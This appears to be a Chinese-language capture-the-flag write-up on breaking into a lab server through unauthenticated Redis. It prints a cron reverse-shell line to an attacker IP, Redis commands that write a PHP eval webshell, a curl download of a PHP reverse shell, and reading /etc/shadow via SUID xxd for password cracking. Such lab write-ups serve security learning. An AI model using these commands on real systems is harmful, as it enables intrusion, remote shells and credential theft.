简介
在这个半指导的挑战中,入侵具有内存数据结构的易受攻击的数据库服务器!
Task
首先还是简单扫描下端口,这里扫描了前10000个端口
这里发现开放了80和6379端口
访问80,是个初始界面
直接看6379端口
尝试使用redis-cli连接
发现存在未授权访问漏洞
输入info查看版本
通过80端口知道网站目录在/var/www/html/下
原本准备直接计划任务反弹shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.10.170.148/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
但是发现权限不够
所以还是先写一个shell
redis中执行命令
config set dir /var/www/html
config set dbfilename shell.php
set webshell "\r\n\r\n<?php eval(@$_GET['cmd']);?>\r\n\r\n"
save
成功写入
接着老样子本地准备反弹shell的php马
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
接着本地起http服务
使用curl下载,同时本地做好监听
curl 10.10.170.148:8000/php-reverse-shell.php -o rshell.php
访问shell
成功反弹shell
更改伪终端
成功找到flag
输入以下命令尝试提权
find / -user root -perm -4000 -exec ls -ldb {} \;
这里发现了一个有趣的命令xxd
尝试提权
xxd "/etc/shadow" | xxd -r
成功读取/etc/shadow文件内容
复制hash使用john破解账户密码
成功获取用户密码,尝试登录
成功切换
查看特权命令
成功提权
Comments NOTHING